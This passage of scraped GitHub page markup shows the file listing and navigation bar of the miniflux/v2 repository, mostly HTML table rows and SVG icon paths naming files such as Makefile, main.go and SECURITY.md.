1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"ChangeLog\" aria-label=\"ChangeLog, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/ChangeLog\">ChangeLog</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-8\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"LICENSE\" aria-label=\"LICENSE, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/LICENSE\">LICENSE</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"LICENSE\" aria-label=\"LICENSE, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/LICENSE\">LICENSE</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row undefined\" id=\"folder-row-9\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"Makefile\" aria-label=\"Makefile, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/Makefile\">Makefile</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"Makefile\" aria-label=\"Makefile, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/Makefile\">Makefile</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-10\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"Procfile\" aria-label=\"Procfile, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/Procfile\">Procfile</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"Procfile\" aria-label=\"Procfile, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/Procfile\">Procfile</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-11\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"README.md\" aria-label=\"README.md, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/README.md\">README.md</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"README.md\" aria-label=\"README.md, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/README.md\">README.md</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-12\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"SECURITY.md\" aria-label=\"SECURITY.md, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/SECURITY.md\">SECURITY.md</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"SECURITY.md\" aria-label=\"SECURITY.md, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/SECURITY.md\">SECURITY.md</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-13\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"go.mod\" aria-label=\"go.mod, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/go.mod\">go.mod</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"go.mod\" aria-label=\"go.mod, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/go.mod\">go.mod</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-14\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"go.sum\" aria-label=\"go.sum, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/go.sum\">go.sum</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"go.sum\" aria-label=\"go.sum, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/go.sum\">go.sum</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-15\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"main.go\" aria-label=\"main.go, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/main.go\">main.go</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"main.go\" aria-label=\"main.go, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/main.go\">main.go</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"react-directory-row truncate-for-mobile\" id=\"folder-row-16\"><td class=\"react-directory-row-name-cell-small-screen\" colSpan=\"2\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"miniflux.1\" aria-label=\"miniflux.1, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/miniflux.1\">miniflux.1</a></div></h3></div></div></td><td class=\"react-directory-row-name-cell-large-screen\" colSpan=\"1\"><div class=\"react-directory-filename-column\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"color-fg-muted\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z\"></path></svg><div class=\"overflow-hidden\"><h3><div class=\"react-directory-truncate\"><a title=\"miniflux.1\" aria-label=\"miniflux.1, (File)\" class=\"Link--primary\" href=\"/miniflux/v2/blob/main/miniflux.1\">miniflux.1</a></div></h3></div></div></td><td class=\"react-directory-row-commit-cell\"><div class=\"Skeleton Skeleton--text\"> </div></td><td><div class=\"Skeleton Skeleton--text\"> </div></td></tr><tr class=\"Box-sc-g0xbh4-0 epsqEd show-for-mobile\" data-testid=\"view-all-files-row\"><td colSpan=\"3\" class=\"Box-sc-g0xbh4-0 ldpruc\"><div><button class=\"Link__StyledLink-sc-14289xe-0 dheQRw\">View all files</button></div></td></tr></tbody></table></div><div class=\"Box-sc-g0xbh4-0 ehcSsh\"><div class=\"Box-sc-g0xbh4-0 iGmlUb\"><div class=\"Box-sc-g0xbh4-0 iRQGXA\"><h2 class=\"_VisuallyHidden__VisuallyHidden-sc-11jhm7a-0 rTZSs\">Repository files navigation</h2><nav aria-label=\"Repository files\" class=\"Box-sc-g0xbh4-0 dvTdPK\"><ul role=\"list\" class=\"UnderlineNav__NavigationList-sc-1jfr31k-0 bPgibo\"><li class=\"Box-sc-g0xbh4-0 gwuIGu\"><a href=\"#\" aria-current=\"page\" class=\"Link__StyledLink-sc-14289xe-0 vLMkZ\"><span data-component=\"icon\" class=\"Box-sc-g0xbh4-0 kOxwQs\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-book\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M0 1.75A.75.75 0 0 1 .75 1h4.253c1.227 0 2.317.59 3 1.501A3.743 3.743 0 0 1 11.006 1h4.245a.75.75 0 0 1 .75.75v10.5a.75.75 0 0 1-.75.75h-4.507a2.25 2.25 0 0 0-1.591.659l-.622.621a.75.75 0 0 1-1.06 0l-.622-.621A2.25 2.25 0 0 0 5.258 13H.75a.75.75 0 0 1-.75-.75Zm7.251 10.324.004-5.073-.002-2.253A2.25 2.25 0 0 0 5.003 2.5H1.5v9h3.757a3.75 3.75 0 0 1 1.994.574ZM8.755 4.75l-.004 7.322a3.752 3.752 0 0 1 1.992-.572H14.5v-9h-3.495a2.25 2.25 0 0 0-2.25 2.25Z\"></path></svg></span><span data-component=\"text\" data-content=\"README\" class=\"Box-sc-g0xbh4-0 kOgeFj\">README</span></a></li><li class=\"Box-sc-g0xbh4-0 gwuIGu\"><a href=\"#\" class=\"Link__StyledLink-sc-14289xe-0 bhqztV\"><span data-component=\"icon\" class=\"Box-sc-g0xbh4-0 kOxwQs\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-law\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z\"></path></svg></span><span data-component=\"text\" data-content=\"Apache-2.0 license\" class=\"Box-sc-g0xbh4-0\">Apache-2.0 license</span></a></li><li class=\"Box-sc-g0xbh4-0 gwuIGu\"><a href=\"#\" class=\"Link__StyledLink-sc-14289xe-0 bhqztV\"><span data-component=\"icon\" class=\"Box-sc-g0xbh4-0 kOxwQs\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-law\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z\"></path></svg></span><span data-component=\"text\" data-content=\"Security\" class=\"Box-sc-g0xbh4-0\">Security</span></a></li></ul></nav><button style=\"--button-color:fg.subtle\" type=\"button\" aria-label=\"Outline\" id=\":Rdkl5:\" aria-haspopup=\"true\" tabindex=\"0\" class=\"types__StyledButton-sc-ws60qy-0 jPraEl\"><svg aria-hidden=\"true\" focusable=\"false\" role=\"img\" class=\"octicon octicon-list-unordered\" viewBox=\"0 0 16 16\" width=\"16\" height=\"16\" fill=\"currentColor\" style=\"display:inline-block;user-select:none;vertical-align:text-bottom;overflow:visible\"><path d=\"M5.75 2.5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 0-1.5Zm0 5h8.5a.75.75 0 0 1 0 1.5h-8.5a.75.75 0 0 1 